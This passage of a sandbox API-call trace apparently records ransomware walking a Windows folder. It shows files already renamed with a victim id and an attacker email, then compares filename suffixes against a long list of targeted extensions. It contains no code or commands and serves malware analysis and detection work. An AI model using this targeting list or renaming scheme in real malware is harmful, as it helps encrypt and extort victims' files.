ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0085.819] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0085.820] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0085.820] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0085.820] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0085.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26 [0085.820] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0085.820] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc68955ec, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.820] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5ddacff, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5ddacff, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc682db4e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0085.820] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0085.820] lstrlenW (lpString=".1cd") returned 4 [0085.821] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0085.821] lstrlenW (lpString=".3ds") returned 4 [0085.821] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0085.821] lstrlenW (lpString=".3fr") returned 4 [0085.821] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0085.821] lstrlenW (lpString=".3g2") returned 4 [0085.821] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0085.821] lstrlenW (lpString=".3gp") returned 4 [0085.821] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0085.821] lstrlenW (lpString=".7z") returned 3 [0085.821] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0085.821] lstrlenW (lpString=".accda") returned 6 [0085.821] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0085.821] lstrlenW (lpString=".accdb") returned 6 [0085.821] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0085.821] lstrlenW (lpString=".accdc") returned 6 [0085.821] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0085.821] lstrlenW (lpString=".accde") returned 6 [0085.821] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0085.821] lstrlenW (lpString=".accdt") returned 6 [0085.821] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0085.821] lstrlenW (lpString=".accdw") returned 6 [0085.821] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0085.821] lstrlenW (lpString=".adb") returned 4 [0085.821] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0085.821] lstrlenW (lpString=".adp") returned 4 [0085.821] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".ai") returned 3 [0085.822] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0085.822] lstrlenW (lpString=".ai3") returned 4 [0085.822] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".ai4") returned 4 [0085.822] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".ai5") returned 4 [0085.822] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".ai6") returned 4 [0085.822] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".ai7") returned 4 [0085.822] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".ai8") returned 4 [0085.822] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".anim") returned 5 [0085.822] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0085.822] lstrlenW (lpString=".arw") returned 4 [0085.822] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".as") returned 3 [0085.822] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0085.822] lstrlenW (lpString=".asa") returned 4 [0085.822] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".asc") returned 4 [0085.822] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0085.822] lstrlenW (lpString=".ascx") returned 5 [0085.822] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0085.822] lstrlenW (lpString=".asm") returned 4 [0085.823] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0085.823] lstrlenW (lpString=".asmx") returned 5 [0085.823] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0085.823] lstrlenW (lpString=".asp") returned 4 [0085.823] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0085.823] lstrlenW (lpString=".aspx") returned 5 [0085.823] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0085.823] lstrlenW (lpString=".asr") returned 4 [0085.823] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0085.823] lstrlenW (lpString=".asx") returned 4 [0085.823] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0085.823] lstrlenW (lpString=".avi") returned 4 [0085.823] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0085.823] lstrlenW (lpString=".avs") returned 4 [0085.823] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0085.823] lstrlenW (lpString=".backup") returned 7 [0085.823] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0085.823] lstrlenW (lpString=".bak") returned 4 [0085.823] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0085.823] lstrlenW (lpString=".bay") returned 4 [0085.823] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0085.823] lstrlenW (lpString=".bd") returned 3 [0085.823] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0085.823] lstrlenW (lpString=".bin") returned 4 [0085.823] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0085.823] lstrlenW (lpString=".bmp") returned 4 [0085.823] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".bz2") returned 4 [0085.824] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".c") returned 2 [0085.824] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0085.824] lstrlenW (lpString=".cdr") returned 4 [0085.824] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".cer") returned 4 [0085.824] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".cf") returned 3 [0085.824] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0085.824] lstrlenW (lpString=".cfc") returned 4 [0085.824] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".cfm") returned 4 [0085.824] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".cfml") returned 5 [0085.824] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0085.824] lstrlenW (lpString=".cfu") returned 4 [0085.824] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".chm") returned 4 [0085.824] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".cin") returned 4 [0085.824] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".class") returned 6 [0085.824] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0085.824] lstrlenW (lpString=".clx") returned 4 [0085.824] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0085.824] lstrlenW (lpString=".config") returned 7 [0085.824] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0085.825] lstrlenW (lpString=".cpp") returned 4 [0085.825] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".cr2") returned 4 [0085.825] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".crt") returned 4 [0085.825] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".crw") returned 4 [0085.825] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".cs") returned 3 [0085.825] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0085.825] lstrlenW (lpString=".css") returned 4 [0085.825] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".csv") returned 4 [0085.825] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".cub") returned 4 [0085.825] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".dae") returned 4 [0085.825] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".dat") returned 4 [0085.825] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".db") returned 3 [0085.825] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0085.825] lstrlenW (lpString=".dbf") returned 4 [0085.825] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".dbx") returned 4 [0085.825] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0085.825] lstrlenW (lpString=".dc3") returned 4 [0085.826] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0085.826] lstrlenW (lpString=".dcm") returned 4 [0085.826] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0085.826] lstrlenW (lpString=".dcr") returned 4 [0085.826] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0085.826] lstrlenW (lpString=".der") returned 4 [0085.826] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0085.826] lstrlenW (lpString=".dib") returned 4 [0085.826] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0085.826] lstrlenW (lpString=".dic") returned 4 [0085.826] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0085.826] lstrlenW (lpString=".dif") returned 4 [0085.826] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0085.826] lstrlenW (lpString=".divx") returned 5 [0085.826] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0085.826] lstrlenW (lpString=".djvu") returned 5 [0085.826] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0085.826] lstrlenW (lpString=".dng") returned 4 [0085.826] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0085.826] lstrlenW (lpString=".doc") returned 4 [0085.826] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0085.826] lstrlenW (lpString=".docm") returned 5 [0085.826] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0085.826] lstrlenW (lpString=".docx") returned 5 [0085.826] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0085.827] lstrlenW (lpString=".dot") returned 4 [0085.827] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0085.827] lstrlenW (lpString=".dotm") returned 5 [0085.827] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0085.827] lstrlenW (lpString=".dotx") returned 5 [0085.827] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0085.827] lstrlenW (lpString=".dpx") returned 4 [0085.827] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0085.827] lstrlenW (lpString=".dqy") returned 4 [0085.827] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0085.827] lstrlenW (lpString=".dsn") returned 4 [0085.827] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0085.827] lstrlenW (lpString=".dt") returned 3 [0085.827] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0085.827] lstrlenW (lpString=".dtd") returned 4 [0085.827] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0085.827] lstrlenW (lpString=".dwg") returned 4 [0085.827] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0085.827] lstrlenW (lpString=".dwt") returned 4 [0085.827] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0085.827] lstrlenW (lpString=".dx") returned 3 [0085.827] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0085.827] lstrlenW (lpString=".dxf") returned 4 [0085.827] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0085.827] lstrlenW (lpString=".edml") returned 5 [0085.827] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0085.827] lstrlenW (lpString=".efd") returned 4 [0085.828] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".elf") returned 4 [0085.828] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".emf") returned 4 [0085.828] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".emz") returned 4 [0085.828] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".epf") returned 4 [0085.828] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".eps") returned 4 [0085.828] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".epsf") returned 5 [0085.828] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0085.828] lstrlenW (lpString=".epsp") returned 5 [0085.828] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0085.828] lstrlenW (lpString=".erf") returned 4 [0085.828] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".exr") returned 4 [0085.828] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".f4v") returned 4 [0085.828] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".fido") returned 5 [0085.828] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0085.828] lstrlenW (lpString=".flm") returned 4 [0085.828] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0085.828] lstrlenW (lpString=".flv") returned 4 [0085.828] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".frm") returned 4 [0085.829] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".fxg") returned 4 [0085.829] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".geo") returned 4 [0085.829] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".gif") returned 4 [0085.829] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".grs") returned 4 [0085.829] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".gz") returned 3 [0085.829] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0085.829] lstrlenW (lpString=".h") returned 2 [0085.829] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0085.829] lstrlenW (lpString=".hdr") returned 4 [0085.829] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".hpp") returned 4 [0085.829] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".hta") returned 4 [0085.829] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".htc") returned 4 [0085.829] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".htm") returned 4 [0085.829] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0085.829] lstrlenW (lpString=".html") returned 5 [0085.829] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0085.829] lstrlenW (lpString=".icb") returned 4 [0085.830] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".ics") returned 4 [0085.830] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".iff") returned 4 [0085.830] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".inc") returned 4 [0085.830] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".indd") returned 5 [0085.830] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0085.830] lstrlenW (lpString=".ini") returned 4 [0085.830] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".iqy") returned 4 [0085.830] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".j2c") returned 4 [0085.830] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".j2k") returned 4 [0085.830] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".java") returned 5 [0085.830] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0085.830] lstrlenW (lpString=".jp2") returned 4 [0085.830] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".jpc") returned 4 [0085.830] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".jpe") returned 4 [0085.830] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0085.830] lstrlenW (lpString=".jpeg") returned 5 [0085.830] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0085.831] lstrlenW (lpString=".jpf") returned 4 [0085.831] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".jpg") returned 4 [0085.831] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".jpx") returned 4 [0085.831] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".js") returned 3 [0085.831] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0085.831] lstrlenW (lpString=".jsf") returned 4 [0085.831] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".json") returned 5 [0085.831] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0085.831] lstrlenW (lpString=".jsp") returned 4 [0085.831] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".kdc") returned 4 [0085.831] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".kmz") returned 4 [0085.831] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".kwm") returned 4 [0085.831] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".lasso") returned 6 [0085.831] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0085.831] lstrlenW (lpString=".lbi") returned 4 [0085.831] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".lgf") returned 4 [0085.831] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0085.831] lstrlenW (lpString=".lgp") returned 4 [0085.832] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0085.832] lstrlenW (lpString=".log") returned 4 [0085.832] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0085.832] lstrlenW (lpString=".m1v") returned 4 [0085.832] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0085.832] lstrlenW (lpString=".m4a") returned 4 [0085.832] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0085.832] lstrlenW (lpString=".m4v") returned 4 [0085.832] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0085.832] lstrlenW (lpString=".max") returned 4 [0085.832] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0085.832] lstrlenW (lpString=".md") returned 3 [0085.832] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0085.832] lstrlenW (lpString=".mda") returned 4 [0085.832] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0085.832] lstrlenW (lpString=".mdb") returned 4 [0085.833] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mde") returned 4 [0085.833] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mdf") returned 4 [0085.833] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mdw") returned 4 [0085.833] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mef") returned 4 [0085.833] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mft") returned 4 [0085.833] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mfw") returned 4 [0085.833] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mht") returned 4 [0085.833] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mhtml") returned 6 [0085.833] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0085.833] lstrlenW (lpString=".mka") returned 4 [0085.833] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mkidx") returned 6 [0085.833] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0085.833] lstrlenW (lpString=".mkv") returned 4 [0085.833] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mos") returned 4 [0085.833] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0085.833] lstrlenW (lpString=".mov") returned 4 [0085.833] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".mp3") returned 4 [0085.834] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".mp4") returned 4 [0085.834] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".mpeg") returned 5 [0085.834] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0085.834] lstrlenW (lpString=".mpg") returned 4 [0085.834] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".mpv") returned 4 [0085.834] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".mrw") returned 4 [0085.834] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".msg") returned 4 [0085.834] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".mxl") returned 4 [0085.834] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".myd") returned 4 [0085.834] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".myi") returned 4 [0085.834] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".nef") returned 4 [0085.834] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".nrw") returned 4 [0085.834] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0085.834] lstrlenW (lpString=".obj") returned 4 [0085.834] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".odb") returned 4 [0085.835] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".odc") returned 4 [0085.835] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".odm") returned 4 [0085.835] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".odp") returned 4 [0085.835] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".ods") returned 4 [0085.835] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".oft") returned 4 [0085.835] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".one") returned 4 [0085.835] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".onepkg") returned 7 [0085.835] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0085.835] lstrlenW (lpString=".onetoc2") returned 8 [0085.835] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0085.835] lstrlenW (lpString=".opt") returned 4 [0085.835] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".oqy") returned 4 [0085.835] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".orf") returned 4 [0085.835] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".p12") returned 4 [0085.835] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0085.835] lstrlenW (lpString=".p7b") returned 4 [0085.836] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".p7c") returned 4 [0085.836] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0085.836] lstrlenW (lpString=".pam") 